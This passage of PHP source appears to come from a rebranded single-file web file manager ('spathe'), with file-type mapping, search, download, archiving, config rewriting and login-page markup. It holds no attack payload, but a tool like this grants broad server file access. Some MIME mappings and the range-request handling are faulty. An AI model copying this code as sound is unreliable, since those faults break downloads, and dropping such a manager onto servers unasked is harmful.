function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
// headers
header('Content-Description: File Transfer');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'spathe<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) and count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
function fm_show_message()
{
if (isset($_SESSION[DN_CESSION_ID]['message'])) {
$class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
unset($_SESSION[DN_CESSION_ID]['message']);
unset($_SESSION[DN_CESSION_ID]['status']);
}
}
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="spathe">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('css-bootstrap'); ?>
<style>
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
function fm_show_footer_login()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="spathe">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
